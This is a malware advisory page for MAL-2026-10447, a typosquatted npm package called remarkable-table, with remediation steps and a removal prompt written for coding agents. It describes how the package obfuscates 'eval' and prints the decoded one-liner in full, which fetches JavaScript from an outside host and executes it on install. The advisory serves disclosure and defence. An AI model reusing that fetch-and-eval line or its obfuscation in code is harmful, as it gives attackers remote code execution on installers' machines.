# MAL-2026-10447: Malicious code in remarkable-table (npm)


- **Type:** Malicious package
- **Package:** `remarkable-table` (npm)
- **Published:** 13 Jul 2026
- **Also known as:** GHSA-pw78-w6gv-hfcr

## What is MAL-2026-10447?

MAL-2026-10447 is a malicious package in remarkable-table, published on 13 Jul 2026. 

### Official description

The package's preinstall script runs index.d.js, which reconstructs the identifier 'eval' from a character-code array ([101,118,97,108]) and base64-decodes an embedded payload that resolves to `(async()=>eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root3').then(r=>r.text())))();`. On `npm install`, the package performs an outbound HTTPS request to everydaynodechecker-39143n.vercel.app and passes the response body to eval, executing arbitrary attacker-controlled JavaScript on the installer's machine. Both the sink (eval) and the destination are obfuscated to evade casual review. The destination is unrelated to any legitimate table/markdown functionality, and the package name is a typosquat of the widely used `markdown-table`.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-10447?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10447 is a malicious package: remarkable-table (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10447/ (Markdown: https://insights.sbomify.com/MAL-2026-10447/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10447

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-10447/
Summaries are generated and may contain mistakes; the official description above is the record.